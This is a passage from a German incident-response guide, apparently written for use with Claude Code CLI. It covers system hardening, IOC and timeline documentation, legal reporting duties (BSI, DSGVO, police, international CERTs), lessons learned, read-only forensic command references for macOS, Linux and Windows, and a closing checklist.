> LoginGraceTime 30
> AllowUsers <erlaubte-user>
> Protocol 2
> X11Forwarding no
> PermitEmptyPasswords no
> ClientAliveInterval 300
> ClientAliveCountMax 2
> ```

Firewall-Regeln verschärfen

> *Erstelle restriktive Firewall-Regeln (nach Lockdown-Deaktivierung):*
>
> - *Default: DROP INPUT, DROP FORWARD, ACCEPT OUTPUT*
> - *Nur benötigte eingehende Ports öffnen (SSH, HTTP/HTTPS falls Webserver)*
> - *Rate-Limiting für SSH (z.B. max 3 neue Verbindungen pro Minute)*
> - *Logging für geblockte Verbindungen aktivieren*

Unnötige Services deaktivieren

> *Liste alle laufenden und enabled Services auf. Deaktiviere alles was nicht benötigt wird:*
>
> 1. *Nicht benötigte Netzwerk-Services (FTP, Telnet, rsh)*
> 2. *Debugging-Interfaces*
> 3. *Test-Webserver*
> 4. *Nicht benötigte Datenbank-Server Weniger laufende Services = kleinere Angriffsfläche.*

File-Integrity-Monitoring einrichten

> *Richte ein einfaches File-Integrity-Monitoring ein:*
>
> 1. *Erstelle Checksummen aller kritischen System-Binaries*
> 2. *Erstelle Checksummen aller Konfigurationsdateien*
> 3. *Speichere die Checksummen-Liste sicher (z.B. auf externem Medium)*
> 4. *Optional: Installiere AIDE oder OSSEC für automatisches Monitoring Das ermöglicht spätere Erkennung von Manipulationen.*

Audit-Logging aktivieren

> *Aktiviere erweitertes Logging:*
>
> - *Linux: auditd mit Regeln für kritische Dateien und Systemaufrufe*
> - *macOS: OpenBSM / audit*
> - *Windows: Advanced Audit Policy Configuration Minimum: Logge alle Logins, sudo-Nutzung, Datei-Änderungen in /etc, neue Prozesse.*

Phase 11 — Dokumentation & Reporting

Was wir tun und warum

Ein Incident ohne Dokumentation ist ein verlorener Incident. Wir erstellen eine vollständige Dokumentation für rechtliche Zwecke, organisatorische Verbesserungen und zukünftige Referenz.

IOC-Liste generieren

> *Erstelle eine vollständige IOC-Liste (Indicators of Compromise) basierend auf allen Funden:*
>
> ***Netzwerk-IOCs:***
>
> - *Bösartige IP-Adressen (C2, Exfiltration)*
> - *Bösartige Domänen*
> - *Verdächtige URLs*
> - *Ungewöhnliche Ports*
>
> ***Datei-IOCs:***
>
> - *SHA256-Hashes aller Malware-Dateien*
> - *Dateinamen und Pfade*
> - *Dateigrößen*
> - *YARA-Rules (wenn möglich)*
>
> ***Host-IOCs:***
>
> - *Erstellte User-Accounts*
> - *Modifizierte Konfigurationsdateien*
> - *Installierte Services*
> - *Registry-Keys (Windows)*
>
> ***Zeitliche IOCs:***
>
> - *Erster bekannter Zugriff*
> - *Pivoting-Zeitpunkte*
> - *Exfiltrations-Zeitfenster*
>
> *Speichere in /tmp/incident/iocs/ioc-list.txt im STIX- oder CSV-Format.*

Timeline erstellen

> *Erstelle eine chronologische Timeline des Vorfalls basierend auf allen gesammelten Beweisen:*
>
> | ***Zeitpunkt (UTC)*** | ***Ereignis*** | ***Quelle*** | ***Bewertung*** |
> | --- | --- | --- | --- |
> | *YYYY-MM-DD HH:MM* | *...* | *Log/Datei/...* | *Sicher/Wahrscheinlich/Möglich* |
>
> *Die Timeline soll enthalten:*
>
> 1. *Erster vermuteter Zugriff*
> 2. *Initiale Kompromittierung*
> 3. *Privilege Escalation*
> 4. *Laterale Bewegung (falls vorhanden)*
> 5. *Persistenz-Installation*
> 6. *Datenexfiltration (falls vorhanden)*
> 7. *Entdeckung*
> 8. *Beginn der Incident Response*
> 9. *Bereinigung*
> 10. *Wiederherstellung*
>
> *Speichere in /tmp/incident/report/timeline.txt*

Incident-Report erstellen

> *Erstelle einen vollständigen Incident-Report mit folgender Struktur:*
>
> ***1. Executive Summary***
>
> - *Was ist passiert? (1-2 Sätze)*
> - *Wann wurde es entdeckt?*
> - *Welche Systeme sind betroffen?*
> - *Was wurde unternommen?*
>
> ***2. Technische Details***
>
> - *Angriffsvektor*
> - *Betroffene Systeme und Services*
> - *Kompromittierte Accounts*
> - *Installierte Malware/Backdoors*
> - *Exfiltrierte Daten (falls bekannt)*
>
> ***3. Timeline*** *(Verweis auf Timeline-Datei)*
>
> ***4. Indicators of Compromise*** *(Verweis auf IOC-Liste)*
>
> ***5. Durchgeführte Maßnahmen***
>
> - *Isolation (Lockdown)*
> - *Forensische Analyse*
> - *Bereinigung*
> - *Härtung*
>
> ***6. Empfehlungen***
>
> - *Kurzfristig (sofort)*
> - *Mittelfristig (nächste Wochen)*
> - *Langfristig (nächste Monate)*
>
> ***7. Lessons Learned***
>
> - *Was hat gut funktioniert?*

> - *Was muss verbessert werden?*
> - *Welche Prozesse fehlen?*
>
> *Speichere in /tmp/incident/report/incident-report.md*

Meldepflichten & Strafanzeige

Je nach Art und Schwere des Vorfalls bestehen **gesetzliche Meldepflichten**. Diese sollten parallel zur technischen Analyse geprüft und eingehalten werden.

BSI-Meldung (Deutschland)

Betreiber kritischer Infrastrukturen (KRITIS) sind nach **§ 8b BSI-Gesetz** verpflichtet, erhebliche IT-Sicherheitsvorfälle an das BSI zu melden.

> *Erstelle eine BSI-Meldung basierend auf dem Incident-Report. Die Meldung soll enthalten:*
>
> 1. *Betroffene kritische Dienstleistung*
> 2. *Art der Störung / des Angriffs*
> 3. *Vermuteter Angriffsvektor*
> 4. *Betroffene IT-Systeme und Auswirkungen*
> 5. *Bereits ergriffene Maßnahmen*
> 6. *Kontaktdaten des Meldenden Speichere in /tmp/incident/report/bsi-meldung.txt*

Meldewege:

- **BSI-Meldeportal:** https://www.bsi.bund.de/DE/IT-Sicherheitsvorfall/it-sicherheitsvorfall_node.html
- **24/7-Hotline:** +49 228 99 9582-6727
- **E-Mail:** meldestelle@bsi.bund.de

Wer muss melden?

- KRITIS-Betreiber (Energie, Wasser, Gesundheit, IT/TK, Finanzen, Transport, Ernährung)
- Unternehmen im Anwendungsbereich der **NIS2-Richtlinie** (ab 2024/2025)

- Betreiber digitaler Dienste (Online-Marktplätze, Suchmaschinen, Cloud-Dienste)

Fristen:

- Erstmeldung: **unverzüglich**, spätestens 24 Stunden nach Kenntnisnahme
- Folgemeldung mit Details: innerhalb von 72 Stunden
- Abschlussbericht: innerhalb eines Monats

DSGVO-Meldung (Datenschutzvorfall)

Wenn personenbezogene Daten betroffen sind, besteht nach **Art. 33 DSGVO** eine Meldepflicht an die zuständige Datenschutzaufsichtsbehörde.

> *Prüfe ob personenbezogene Daten von der Kompromittierung betroffen sind:*
>
> 1. *Wurden Datenbanken mit Kundendaten, Mitarbeiterdaten oder Nutzerdaten kompromittiert?*
> 2. *Gab es Zugriff auf E-Mail-Postfächer?*
> 3. *Wurden Dateien mit personenbezogenen Daten exfiltriert?*
> 4. *Waren Zugangsdaten (Passwörter, Tokens) betroffen? Falls ja: Dokumentiere Art und Umfang der betroffenen Daten für die DSGVO-Meldung.*

Pflichten:

- **Meldung an Aufsichtsbehörde:** innerhalb von **72 Stunden** nach Kenntnisnahme (Art. 33 DSGVO)
- **Benachrichtigung Betroffener:** wenn hohes Risiko für deren Rechte besteht (Art. 34 DSGVO)
- **Dokumentation:** Jeder Vorfall muss intern dokumentiert werden — auch wenn keine Meldepflicht besteht

Zuständige Aufsichtsbehörden (Auswahl):

Bundesland	Behörde	Meldeportal
Bund	BfDI	https://www.bfdi.bund.de
Bayern	BayLDA	https://www.lda.bayern.de
NRW	LDI NRW	https://www.ldi.nrw.de

Bundesland	Behörde	Meldeportal
Baden-Württemberg	LfDI BW	https://www.baden-württemberg.datenschutz.de
Andere		Siehe https://www.datenschutzkonferenz-online.de

Strafanzeige bei der Polizei

Bei Cybercrime-Delikten (§§ 202a-d, 303a-b StGB) sollte eine **Strafanzeige** erstattet werden. Viele Bundesländer bieten dafür eine **Online-Wache** an.

> *Erstelle eine Zusammenfassung des Vorfalls für die Strafanzeige. Die Zusammenfassung soll enthalten:*
>
> 1. *Beschreibung des Vorfalls in nicht-technischer Sprache*
> 2. *Vermuteter Tatzeitraum*
> 3. *Art des Angriffs (unbefugter Zugriff, Datendiebstahl, Sabotage, Erpressung)*
> 4. *Bekannter Schaden (finanziell, Datenverlust, Betriebsunterbrechung)*
> 5. *Technische Beweise (IOC-Liste als Anlage)*
> 6. *Betroffene Systeme und Daten Speichere in /tmp/incident/report/strafanzeige-zusammenfassung.txt*

Online-Wachen der Bundesländer:

Bundesland	Online-Wache
Baden-Württemberg	https://www.polizei-bw.de/onlinewache
Bayern	https://www.polizei.bayern.de/onlinewache
Berlin	https://www.internetwache-polizei-berlin.de
Brandenburg	https://polizei.brandenburg.de/onlineanzeige
Hamburg	https://www.polizei.hamburg/onlinewache
Hessen	https://onlinewache.polizei.hessen.de

Bundesland	Online-Wache
Niedersachsen	https://www.onlinewache.polizei.niedersachsen.de
NRW	https://polizei.nrw/internetwache
Sachsen	https://www.polizei.sachsen.de/onlinewache
Schleswig-Holstein	https://www.schleswig-holstein.de/onlinewache

Spezialisierte Anlaufstellen:

- **ZAC (Zentrale Ansprechstellen Cybercrime):** Jedes Landeskriminalamt hat eine ZAC-Stelle für Unternehmen — erreichbar über die jeweilige LKA-Webseite
- **BKA:** Bei schwerwiegenden oder grenzüberschreitenden Fällen direkt an das Bundeskriminalamt

Wichtig für die Anzeige:

- Beweise **nicht verändern** bevor die Anzeige erstattet ist (unsere Analyse ist nicht-destruktiv)
- IOC-Liste, Timeline und Incident-Report als Anlagen beifügen
- Screenshots von verdächtigen Dateien, Logs und Verbindungen sichern
- Bei Ransomware: **kein Lösegeld zahlen** ohne Rücksprache mit Polizei und BSI

Internationale Meldestellen

Je nach Standort des betroffenen Systems oder der Organisation gelten unterschiedliche Meldepflichten. Nachfolgend die wichtigsten nationalen CERTs und Cybersecurity-Behörden weltweit.

Europa:

Land	Behörde	Webseite
Österreich	CERT.at	https://www.cert.at
Schweiz	NCSC (BACS)	https://www.ncsc.admin.ch
Frankreich	ANSSI	https://www.ssi.gouv.fr
Niederlande	NCSC-NL	https://www.ncsc.nl

Land	Behörde	Webseite
Belgien	CCB / CERT.be	https://www.cert.be
Italien	ACN / CSIRT Italia	https://www.csirt.gov.it
Spanien	INCIBE-CERT	https://www.incibe.es
Portugal	CNCS / CERT.PT	https://www.cncs.gov.pt
Polen	CSIRT NASK	https://www.cert.pl
Tschechien	NUKIB	https://www.nukib.cz
Schweden	CERT-SE	https://www.cert.se
Norwegen	NCSC-NO	https://www.nsm.no
Dänemark	CFCS	https://www.cfcs.dk
Finnland	NCSC-FI	https://www.kyberturvallisuuskeskus.fi
Irland	NCSC-IE	https://www.ncsc.gov.ie
Luxemburg	CIRCL	https://www.circl.lu

EU-weite Stellen:

Organisation	Zuständigkeit	Webseite
ENISA	EU-Agentur für Cybersicherheit	https://www.enisa.europa.eu
Europol EC3	Cybercrime-Zentrum (Strafverfolgung)	https://www.europol.europa.eu/about-europol/european-cybercrime-centre-ec3
CERT-EU	EU-Institutionen und -Agenturen	https://www.cert.europa.eu

Nordamerika:

Land	Behörde	Webseite
USA	CISA	https://www.cisa.gov/report
USA	FBI IC3 (Strafverfolgung)	https://www.ic3.gov
Kanada	CCCS	https://www.cyber.gc.ca

Asien-Pazifik:

Land	Behörde	Webseite
Australien	ASD / ACSC	https://www.cyber.gov.au
Neuseeland	CERT NZ	https://www.cert.govt.nz
Japan	JPCERT/CC	https://www.jpcert.or.jp
Singapur	CSA / SingCERT	https://www.csa.gov.sg
Südkorea	KrCERT/CC	https://www.krcert.or.kr
Indien	CERT-In	https://www.cert-in.org.in

Weitere Regionen:

Land	Behörde	Webseite
UK	NCSC UK	https://www.ncsc.gov.uk
Israel	INCD	https://www.gov.il/en/departments/israel_national_cyber_directorate
Brasilien	CERT.br	https://www.cert.br
Vereinigte Arabische Emirate	aeCERT	https://www.tra.gov.ae

Internationale Koordination:

Organisation	Zuständigkeit	Webseite
FIRST	Globales Forum der Incident-Response-Teams	https://www.first.org
Interpol Cyber	Internationale Strafverfolgung	https://www.interpol.int/Crimes/Cybercrime

NIS2-Richtlinie (EU): Seit 2024 gilt die NIS2-Richtlinie in der gesamten EU. Betroffene Unternehmen müssen Sicherheitsvorfälle innerhalb von **24 Stunden** (Frühwarnung) und **72 Stunden** (vollständige Meldung) an das zuständige nationale CSIRT melden. Dies betrifft wesentlich mehr Sektoren und Unternehmen als die vorherige NIS-Richtlinie.

Lessons Learned & Schulungen

Nach Abschluss des Incidents sollte ein strukturiertes **Lessons-Learned-Meeting** stattfinden und konkrete Verbesserungsmaßnahmen abgeleitet werden.

> *Erstelle ein Lessons-Learned-Dokument mit folgender Struktur:*
>
> ***1. Incident-Zusammenfassung***
>
> - *Was ist passiert? (kurz)*
> - *Wie wurde der Vorfall entdeckt?*
> - *Wie lange dauerte es von Kompromittierung bis Entdeckung (Dwell Time)?*
>
> ***2. Was hat gut funktioniert?***
>
> - *Schnelle Isolation durch Network Lockdown?*
> - *Effektive Analyse mit Claude Code CLI?*
> - *Vorhandene Logs ausreichend?*
>
> ***3. Was muss verbessert werden?***
>
> - *Fehlende Monitoring-Tools?*
> - *Unzureichende Log-Aufbewahrung?*
> - *Fehlende Incident-Response-Pläne?*
> - *Mangelnde Segmentierung?*
>
> ***4. Konkrete Maßnahmen***
>
> - *Technisch (Tools, Konfigurationen, Monitoring)*
> - *Organisatorisch (Prozesse, Verantwortlichkeiten)*
> - *Personell (Schulungen, Awareness)*
>
> ***5. Schulungsplan***
>
> - *Welche Mitarbeiter müssen geschult werden?*
> - *Welche Themen sind prioritär?*
>
> *Speichere in /tmp/incident/report/lessons-learned.md*

Schulungs-Empfehlungen nach einem Incident:

Zielgruppe	Themen	Priorität
Alle Mitarbeiter	Phishing-Erkennung, Social Engineering, Passwort-Hygiene, Meldewege	Hoch

Zielgruppe	Themen	Priorität
IT-Team	Incident-Response-Prozesse, Log-Analyse, Forensik-Grundlagen	Hoch
Administratoren	Systemhärtung, Patch-Management, Monitoring, Backup-Verifikation	Hoch
Entwickler	Secure Coding, Dependency-Management, Secret-Management	Mittel
Management	Risikobewertung, Meldepflichten, Budget für Security-Maßnahmen	Mittel

Empfohlener Zeitplan:

- **Woche 1-2:** Lessons-Learned-Meeting mit allen Beteiligten
- **Monat 1:** Security-Awareness-Schulung für alle Mitarbeiter
- **Monat 1-2:** Technische Schulungen für IT-Team
- **Quartal 2:** Incident-Response-Übung (Tabletop Exercise)
- **Laufend:** Regelmäßige Phishing-Simulationen und Awareness-Refresher

Lockdown deaktivieren

Erst wenn alle Phasen abgeschlossen sind und das System gehärtet wurde:

```
# macOS
sudo ./network-lockdown-mac.sh off

# Linux
sudo ./network-lockdown-linux.sh off

# Windows (PowerShell als Administrator)
.\network-lockdown-windows.ps1 off
```

Anhang A — Befehlsreferenz nach Plattform

macOS-spezifische Befehle

Aufgabe	Befehl
Alle Prozesse	`ps auxww`
Prozess-Details	`lsof -p PID`
Netzwerkverbindungen	`lsof -i -P -n`
Offene Ports	`lsof -i -P -n | grep LISTEN`
Letzte Logins	`last`
Launch Agents	`ls /Library/Launch{Agents,Daemons}/ ~/Library/LaunchAgents/`
Kernel-Extensions	`kextstat | grep -v com.apple`
Unified Logs	`log show --last 24h --predicate 'eventMessage contains "error"'`
Dateisystem-Events	`fs_usage -w`
Firewall-Status	`pfctl -si`

Linux-spezifische Befehle

Aufgabe	Befehl
Alle Prozesse	`ps auxww`
Prozess-Baum	`pstree -p -a`
Netzwerkverbindungen	`ss -tulpn`
Gelöschte Binaries	`ls -la /proc/*/exe 2>/dev/null | grep deleted`

Aufgabe	Befehl
Letzte Logins	`last -Faiw`
systemd Services	`systemctl list-units --type=service --all`
Kernel-Module	`lsmod`
Journal-Logs	`journalctl --since "7 days ago"`
inotify-Monitoring	`inotifywait -m -r /etc /var/log`
iptables-Rules	`iptables -L -n -v --line-numbers`

Windows-spezifische Befehle (PowerShell)

Aufgabe	Befehl
Alle Prozesse	`Get-Process | Select-Object Id,ProcessName,CPU,Path | Sort-Object CPU -Descending`
Netzwerkverbindungen	`Get-NetTCPConnection | Select-Object LocalPort,RemoteAddress,State,OwningProcess`
Offene Ports	`Get-NetTCPConnection -State Listen`
Letzte Logins	`Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]]" -MaxEvents 50`
Scheduled Tasks	`Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'}`
Registry Run Keys	`Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
Installierte Services	`Get-Service | Where-Object {$_.StartType -eq 'Automatic'}`
Event-Logs	`Get-WinEvent -LogName System -MaxEvents 100`
Treiber	`driverquery /v`
Firewall-Rules	`Get-NetFirewallRule -Enabled True`

Anhang B — Checkliste

Nutze diese Checkliste um sicherzustellen, dass keine Phase übersprungen wird:

- [ ] **Lockdown aktiviert** — System ist isoliert
- [ ] **Arbeitsverzeichnis angelegt** — /tmp/incident/
- [ ] **Volatile Daten gesichert** — Prozesse, Netzwerk, RAM-Artefakte
- [ ] **System-Snapshot erstellt** — OS, Kernel, Uptime, User
- [ ] **Auth-Logs analysiert** — SSH, sudo, Login-Historie
- [ ] **System-Logs analysiert** — syslog, Journal, Kernel-Messages
- [ ] **Webserver-Logs analysiert** (falls zutreffend)
- [ ] **Verdächtige Prozesse identifiziert** — PID, Pfad, Netzwerk
- [ ] **Prozess-Baum analysiert** — Parent-Child-Beziehungen
- [ ] **Netzwerkverbindungen gesichert** — TCP, UDP, Listener
- [ ] **ARP/DNS-Cache gesichert**
- [ ] **Routing-Tabelle geprüft**
- [ ] **Dateisystem gescannt** — mtime, SUID, Hidden, Temp
- [ ] **Datei-Integrität geprüft** — dpkg --verify / rpm -Va
- [ ] **Persistenz-Mechanismen geprüft** — Cron, Services, Profile, Keys
- [ ] **Benutzerkonten auditiert** — UID-0, neue Accounts, sudo
- [ ] **SSH-Schlüssel auditiert** — authorized_keys, Host-Keys
- [ ] **Malware analysiert** — Strings, Hashes, Patterns
- [ ] **IOCs dokumentiert** — IPs, Hashes, Dateien, Accounts
- [ ] **Timeline erstellt** — Chronologisch, mit Quellen
- [ ] **Schadcode bereinigt** — Malware, Backdoors, Persistenz
- [ ] **Accounts bereinigt** — Gesperrt, gelöscht, Passwörter geändert
- [ ] **SSH-Keys rotiert** — Host-Keys und User-Keys
- [ ] **System gehärtet** — Updates, SSH, Firewall, Services
- [ ] **Logging aktiviert** — auditd, File-Integrity-Monitoring

- [ ] **Incident-Report erstellt** — Vollständig, mit Timeline und IOCs
- [ ] **BSI-Meldung geprüft/erstattet** — KRITIS, NIS2, digitale Dienste
- [ ] **DSGVO-Meldung geprüft/erstattet** — Aufsichtsbehörde innerhalb 72h
- [ ] **Betroffene benachrichtigt** — Falls hohes Risiko (Art. 34 DSGVO)
- [ ] **Strafanzeige erstattet** — Online-Wache oder ZAC/LKA
- [ ] **Lessons-Learned-Meeting durchgeführt** — Mit allen Beteiligten
- [ ] **Schulungsplan erstellt** — Awareness, Technik, Prozesse
- [ ] **Lockdown deaktiviert** — Erst nach vollständiger Härtung